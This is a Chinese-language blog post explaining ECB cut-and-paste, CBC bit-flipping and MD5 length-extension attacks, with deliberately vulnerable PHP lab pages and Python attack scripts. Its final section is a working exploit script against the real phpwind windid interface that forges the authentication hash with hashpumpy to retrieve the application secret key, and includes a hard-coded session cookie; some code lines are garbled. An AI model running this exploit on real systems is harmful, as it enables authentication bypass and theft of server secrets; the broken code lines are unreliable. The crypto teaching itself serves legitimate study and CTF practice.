常见web密码学攻击汇总

分组密码每次只能处理加密固定长度的分组,但是我们加密的明文可能会超过分组密码处理的长度。这时便需要对所有分组进行迭代,而迭代的方式被称为分组密码的模式。常见的为针对ECB、CBC模式攻击(L-ctf提到其中一种)。


写在前面

所有脚本的导图都是自己写的、画的,如果有不好的地方多多包涵,错误的地方也请指出,谢谢。

分组密码的模式

分组密码每次只能处理加密固定长度的分组,但是我们加密的明文可能会超过分组密码处理的长度。

这时便需要对所有分组进行迭代,而迭代的方式被称为分组密码的模式。常见的为针对ECB、CBC模式攻击(L-ctf提到其中一种)。

ECB

ECB模式的全称是Electronic CodeBook模式,将明文分组加密后直接成为密文分组,而密文则是由明文分组直接拼接而成,如图所示:

Features:

ECB模式是所有模式中最简单的一种。明文分组和密文分组是一一对应的,如果明文分组有相同的那么最后的密文中也会有相同的密文分组。

因为每个分组都独自进行加密解密,所以无需破解密文就能操纵部分明文,或者改变明文,在不知道加密算法的情况下得到密文,从而达到攻击效果,如图所示(翻转密文分组,那么明文分组也会被翻转)

Example:

某次CTF遇到的题目

思路以administrator权限登陆就就能获得Flag。判断权限则是根据cookie里面的uid参数,cookie包含username和uid两个参数,均为使用ECB加密的密文,然而username的密文是根据注册时的明文生成的。

因此我们可以根据username的明文操纵生成我们想要的uid的密文。经过fuzz发现明文分组块为16个字节,那么我们注册17字节的用户,多出的那一个字节就可以是我们我们希望的UID的值,而此时我们查看username的密文增加部分就是UID的密文,即可伪造UID。

注册aaaaaaaaaaaaaaaa1获得1的密文分组,注册aaaaaaaaaaaaaaaa2获得2的密文分组,以此类推

源码没找到,好像弄丢了,自己写了个差不多的,有兴趣可以练习

ebc.php:


function AES($data){

$privateKey="12345678123456781234567812345678";

$encrypted=mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $privateKey, $data, MCRYPT_MODE_ECB);

$encryptedData= (base64_encode($encrypted));

return $encryptedData;

}

function DE__AES($data){

$privateKey="12345678123456781234567812345678";

$encryptedData=base64_decode($data);

$decrypted=mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $privateKey, $encryptedData, MCRYPT_MODE_ECB);

$decrypted=rtrim($decrypted, "\0") ;

return $decrypted;

}

if (@$_GET['a']=='reg'){

setcookie('uid', AES('9'));

setcookie('username', AES($_POST['username']));

header("Location: http://127.0.0.1/ecb.php");

exit();

}

if (@!isset($_COOKIE['uid'])||@!isset($_COOKIE['username'])){

echo '

Username:


Password:



';

}

else{

$uid=DE__AES($_COOKIE['uid']);

if ( $uid != '4'){

echo 'uid:' .$uid .'
';

echo 'Hi ' . DE__AES($_COOKIE['username']) .'
';

echo 'You are not administrotor!!';

}

else {

echo "Hi you are administrotor!!" .'
';

echo 'Flag is 360 become better';

}

}

?>

ecb.py:

#coding=utf-8

import urllib

import urllib2

import base64

import cookielib

import Cookie

for num in range(1,50):

reg_url='http://127.0.0.1/ecb.php?a=reg'

index_url='http://127.0.0.1/ecb.php'

cookie=cookielib.CookieJar()

opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))

opener.addheaders.append(('User-Agent','Mozilla/5.0'))

num=str(num)

values={'username':'aaaaaaaaaaaaaaaa'+num,'password':'123'}

data=urllib.urlencode(values)

opener.open(reg_url,data)

text=opener.open(index_url,data)

for ck in cookie:

ifck.name=='username':

user_name=ck.value

user_name=urllib.unquote(user_name)

user_name=base64.b64decode(user_name)

hex_name=user_name.encode('hex')

hex_namehex_name= hex_name[len(hex_name)/2:]

hex_namehex_name= hex_name.decode('hex')

uid=base64.b64encode(hex_name)

uid=urllib.quote(uid)

for ck in cookie:

ifck.name=='uid':

ck.value=uid

text=opener.open(index_url).read()

if 'Flag' in text:

print text

break

else:

print num

CBC

CBC模式的全称是Cipher Block Chaining模式,在此模式中,先将明文分组与前一个密文分组(或为初始化向量IV)进行XOR运算,然后再进行加密。

解密则为密文分组先进行解密,然后再进行xor运算得到明文分组,解密过程如图所示(加密则相反)

Features:

因为CBC模式是将前一个密文分组和明文分组进行混合加密所以,是可以避免ECB模式的弱点。

但正因为如此,导致了解密时修改前一个密文分组就可以操纵后一个的解密后的明文分组,可以将前一个密文中的任意比特进行修改(0,1进行互换,也可以叫翻转)

因此CBC模式有两个攻击点:①vi向量,影响第一个明文分组 ②第n个密文分组,影响第n+1个明文分组

Example:

在比赛中遇到过很多次,基本上属于对一个密文分组进行翻转之后能够提升权限或者绕过验证的作用,自己写了一个差不多的,攻击密文的,大家可以看看

大概就是这样,要获得FLAG需要让ID=0,而我们是可以从URL中知道密文的

http://127.0.0.1/cbc2.php?a=89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1

我们现在要对密文进行翻转攻击,但是并不清楚哪部分对应的是ID的上一个密文,可以直接脚本进行FUZZ,也可是使用burp(intruder)进行测试(选择攻击的密文)

选择攻击模式

攻击结果

burp的翻转并不是遍历所有翻转的可能每一位变动一次,比如101101的第一次为101100,那么的二次就是101110,第三次是101000,依次类推。

所以burp可能无法完全翻转出需要的payload,但是可以帮我确定需要翻转的位置,我们经过简单的计算就能得到自己需要的值

比如这里进过对比,我们轻松的找到了需要翻转的位置,但是却没有得到为0的翻转,数学不及格的我来算算。xor运算的特点:a xor b =c abc三个数任意两个运算可得到第三个,所以

0b的10进制是11

11xor5=14

14xor0=14

14的十进制为0e

FUZZ反转成功。

最后在提醒下:AES128位一组,换成16进制其实我们反转的的是第一组。但影响的却是第二组

我们这个演示的是攻击密文的,攻击iv的,基本相似,有兴趣的可以去看看OWASP里面的,那个是攻击iv的

cbc.php:


$cipherText= $_GET['a'];//89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1

$padkey=hex2bin('66616974683434343407070707070707');

$iv=hex2bin('f4ebb2df9c29efd7625561a15096cd24');

$td=mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');

if (mcrypt_generic_init($td, $padkey, $iv) != -1)

{

$p_t=mdecrypt_generic($td, hex2bin($cipherText));

mcrypt_generic_deinit($td);

mcrypt_module_close($td);

$p_t=trimEnd($p_t);

$tmp=explode(':',$p_t);

if ($tmp[2]=='0'){

print @'id:'.@$tmp[2].'
';

echo 'Flag is T00ls become better';

}

else{

echo 'Your are noob!fuck noob!!';

echo @'
id:'.@$tmp[2].'
';

echo @'name:'.@$tmp[0].'
';

echo @'email:'.@$tmp[1].'
';

}

}

function pad2Length($text, $padlen){

$len=strlen($text)%$padlen;

$res= $text;

$span= $padlen-$len;

for($i=0; $i<$span; $i++){

$res.=chr($span);

}

return $res;

}

function trimEnd($text){

$len=strlen($text);

$c= $text[$len-1];

if(ord($c)<$len){

for($i=$len-ord($c); $i<$len; $i++){

if($text[$i] != $c){

return $text;

}

}

return substr($text, 0, $len-ord($c));

}

return $text;

}

Hash-Length-Extension-Attack

许多算法都使用的Merkle–Damgård construction,比如MD5,和SHA-1等,因此这些算法都受到Length-Extension-Attack。

要说清这个攻击原理,我们还是简单说说SHA-1

Features:

SHA-1处理消息前会先对消息进行填充,使整个消息成为512比特的整数倍,每个分组均为512比特

①填充(Padding),方式为将多余的消息后面加一位,且为1,然后后面全部使用0填充使整个分组变为448比特,而最后的64比特会记录原始消息的长度,填充后每个分组均为512比特。

②然后就是复杂的数学计算~_~我也看的不是特别懂,但是并不影响我们理解。简单说说就行,首先会定义5个32比特的值(缓冲区初始值,是不是加起来刚好160比特~~,可以理解为iv),

然后大概就是每个分组会经过了80步的处理,然后会输出新的5个32比特的值,这个时候我们可以理解原始消息已经充分混入这160比特里面,再用这5个数作为初始值去去处理下一个分组,依次类推,最后得到的hash其实就是这5个数,可以看看我画的便于理解的草图:

Example:

Hash-Length-Extension-Attack ,可以在知道MD5(message)的hash值得情况下,算出MD5(message+padding+a)的hash值,就是根据短的消息的hash算出更长的消息的hash。

为什么呢,其实看了上面的图就会觉得很简单了。我们把hash反排序一下不久又得到5个新的32个比特值吗(此处是可以逆向MD5的算法的),我们可以用这5个数继续消息混合,而我们之前padding的数据就会成为整个消息的一部分说以能够算出MD5(message+padding+a),a就是我们要继续混合的消息。

这类漏洞一般出现在CTF中比较多,类型都是费否等于MAC == hash(message+test) message未知或者只知晓一部分,不过都不重要,重要是的message的长度,因为会影响到拓展后的消息,不知道的话就需要爆破,然后test位置可控,这样才能拓展,MAC一般也是可控,校验通过就能下一步哈哈,或者拿flag。

之前我们都是看的CTF(L-ctf也有一部分,拓展后可以下载压缩包),我们就来看看phpwind的MD5 padding 漏洞

其实是windidserver接口验证缺陷,用扩展攻击绕过验证就可以执行接口中的其他控制器中的其他方法~~

这个函数会在执行控制其方法之前执行,进行验证,然而我们发现$_windidkey可以自己输入,只要是appkey的结果相等就能通过验证

public  function beforeAction($handlerAdapter) {

parent::beforeAction($handlerAdapter);

$charset='utf-8';

$_windidkey= $this->getInput('windidkey', 'get');

$_time= (int)$this->getInput('time', 'get');

$_clientid= (int)$this->getInput('clientid', 'get');

if (!$_time || !$_clientid) $this->output(WindidError::FAIL);

$clent= $this->_getAppDs()->getApp($_clientid);

if (!$clent) $this->output(WindidError::FAIL);

if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);

$time=Pw::getTime();

if ($time - $_time>1200) $this->output(WindidError::TIMEOUT);

$this->appid= $_clientid;

}

既然都已经说了是这类型的漏洞,那我们肯定就要找能找到的hash

showFlash这里满足要求(打印出了hash 822382cb79f915c779943a1dc131f00c)

public function showFlash($uid, $appId, $appKey, $getHtml=1) {

$time=Pw::getTime();

$key=WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));

$key2=WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'normal', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array());

我们再跟踪appkey

public static function appKey($apiId, $time, $secretkey, $get, $post) {

// 注意这里需要加上__data,因为下面的buildRequest()里加了。

$arrayarray= array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',

'Filename', 'Upload', 'token', '__data');

$str='';

ksort($get);

ksort($post);

foreach ($get AS $k=>$v) {

if (in_array($k, $array)) continue;

$str.=$k.$v;

}

foreach ($post AS $k=>$v) {

if (in_array($k, $array)) continue;

$str.=$k.$v;

}

return md5(md5($apiId.'||'.$secretkey).$time.$str);

}

经过各种排序,我们可以得出这个hash的值和消息的结构

822382cb79f915c779943a1dc131f00c = md5(md5().$time.$str)

822382cb79f915c779943a1dc131f00c= md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined

里面的md5值不知道,但是是32位,$time.$str都是可控,那么我们就可以拓展这个消息,得到新的hash,而调用这个函数进行验证的得地方自然也就绕过了验证 $_windidkey我们只要传入拓展后的hash即可绕过。因为我们拓展时必须保持md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined的结构,然而排序的时候回因为传入的a(action)参数导致打乱循序,无法扩展,但是因为phpwind的路由支持post,所以post一下控制器(c),模块(m),动作(a)这三个参数

$_windidkey(我们拓展的hash)== md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined +padding +alistcappmapi(post排序的)正好绕过验证

填写一下cookie和url就可以获得secretkey(调用的list方法,要实现其他action自行修改,getshell就暂不讨论,这不是我们这里的重点

#coding=utf-8

import urllib

import urllib2

import time

import cookielib

import gzip

import StringIO

from bs4 import BeautifulSoup

import re

import hashpumpy

import sys

reload(sys)

sys.setdefaultencoding('utf-8')

def get_key(url):

urlurl= url + '/?m=profile&c=avatar&_left=avatar'

response=opener.open(url)

html=response.read()

if response.info().get('Content-Encoding') == 'gzip':

stream=StringIO.StringIO(html)

with gzip.GzipFile(fileobj=stream) as f:

html=f.read()

soup=BeautifulSoup(html, 'lxml')

key_url=soup.find('param',attrs={'name':'FlashVars'}).get('value')

key_url=urllib.unquote(key_url)

rule='uid=(.+?)&windidkey=(.+?)&time=(.+?)&clientid=(.+?)&type'

Pattern=re.compile(rule, re.S)

rs=re.findall(Pattern, key_url)

return rs[0]

def padding_exten(windidkey,time,uid):

hexdigest=windidkey

original_data=time+'adoAvatarcavatarmapitypeflashuid'+uid+'uidundefined'

data_to_add='alistcappmapi'

key_length=32

result=list()

rs=hashpumpy.hashpump(hexdigest,original_data,data_to_add,key_length)

result.append(rs[0])

tmp=str(rs)

tmptmp= tmp.split(',')[1]

tmptmp= tmp.split("\'")[1]

tmptmp= tmp.replace('\\x','%')

rule='undefined(.+?)alist'

Pattern=re.compile(rule, re.S)

tmp=re.findall(Pattern, tmp)

result.append(tmp[0])

return result

if__name__== '__main__':

url='http://192.168.0.100/phpwind'

cookie='CNZZDATA1257835621=169451052-1472798292-null%7C1472798292; PHPSESSID=5adaadb063b4208acd574d3d044dda38; ECS[visit_times]=5; csrf_token=ab686222777d7f80; xzr_winduser=PbUcCS1OT1ZjCzY8GoJOV8EOvix9OdGpc%2BmWBPYV6ar07B7AZSOhSw%3D%3D; xzr_lastvisit=7%091475751418%09%2Fphpwind%2F%3Fm%3Dprofile%26c%3Davatar%26_left%3Davatar; xzr_visitor=cx59FPbNJ4FYG2e9cWKpUP%2FTZTef7Yu4DTFLTftwwZ%2FPEVo8'

cj=cookielib.CookieJar()

opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

opener.addheaders.append(

('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'))

opener.addheaders.append(('Accept', '*/*'))

opener.addheaders.append(('Accept-Language', 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'))

opener.addheaders.append(('Accept-Encoding', 'gzip, deflate'))

opener.addheaders.append(('Connection', 'keep-alive'))

opener.addheaders.append(('Cookie', cookie))

opener.addheaders.append(('Cache-Control', 'max-age=0'))

uid, windidkey, time,clientid=get_key(url)

windidkey,padding=padding_exten(windidkey,time,uid)

payload='/windid/index.php?time='+time+'&windidkey='+windidkey+'&clientid='+clientid+'&adoAvatarcavatarmapitypeflashuid'+uid+'uidundefined='+padding

urlurl= url + payload

data= {'m':'api','c':'app','a':'list'}

data=urllib.urlencode(data)

response=opener.open(url,data)

html=response.read()

if response.info().get('Content-Encoding') == 'gzip':

stream=StringIO.StringIO(html)

with gzip.GzipFile(fileobj=stream) as f:

html=f.read()

print html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,580评论 18 139
  • 1.数据安全 01数据安全的原则1)在网络上"不允许"传输用户隐私数据的"明文"2.)在本地"不允许"保存用户隐私...
    陈贺阅读 2,150评论 0 2
  • 概述 什么是模式 第三章介绍的对称密码算法DES、AES都属于分组密码,分组密码的特点是分组的长度是固定的。但是由...
    JMasche阅读 3,027评论 0 4
  • 1 基础 1.1 对称算法 描述:对称加密是指加密过程和解密过程使用相同的密码。主要分:分组加密、序列加密。 原理...
    御浅永夜阅读 2,357评论 1 4
  • 引言: 根据相关资料(上半部之哈希/下半部之对称和非对称加密)进行整理,方便以后回顾和查阅...... Base6...
    HoyaWhite阅读 3,312评论 1 6